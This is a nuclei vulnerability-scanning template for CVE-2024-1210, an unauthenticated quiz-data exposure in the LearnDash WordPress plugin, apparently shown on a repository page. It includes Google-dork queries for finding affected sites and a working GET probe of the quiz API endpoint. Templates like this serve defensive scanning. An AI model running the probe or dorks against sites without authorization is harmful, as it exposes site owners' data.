nuclei-templates/http/cves/2024/CVE-2024-1210.yaml

52 lines
1.7 KiB
YAML
Raw Normal View History

2024-02-20 18:12:36 +00:00
id: CVE-2024-1210
info:
name: LearnDash LMS < 4.10.2 - Sensitive Information Exposure
author: ritikchaddha
severity: medium
description: |
The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.1 via API. This makes it possible for unauthenticated attackers to obtain access to quizzes.
remediation: Fixed in 4.10.2
reference:
- https://wpscan.com/vulnerability/f4b12179-3112-465a-97e1-314721f7fe3d/
- https://github.com/karlemilnikka/CVE-2024-1208-and-CVE-2024-1210
- https://nvd.nist.gov/vuln/detail/CVE-2024-1210
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-1210
cpe: cpe:2.3:a:learndash:learndash:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
2024-02-20 18:12:36 +00:00
vendor: learndash
product: learndash
framework: wordpress
publicwww-query: "/wp-content/plugins/sfwd-lms"
googledork-query: inurl:"/wp-content/plugins/sfwd-lms"
tags: wpscan,cve,cve2024,wp,wp-plugin,wordpress,exposure,learndash
2024-02-20 18:12:36 +00:00
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/ldlms/v1/sfwd-quiz"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"id":'
- '"quiz_materials":'
- 'quizzes'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4b0a00483046022100c7202fd842f7dc6c8dfe92e3f49eac734aca491b962b0eb24d8b3e1d28ff9787022100e149bedbe47e88e7f2e8e6666c953919c20fce3a84386a2c59106b50a14400ee:922c64590222798bb761d5b6d8e72950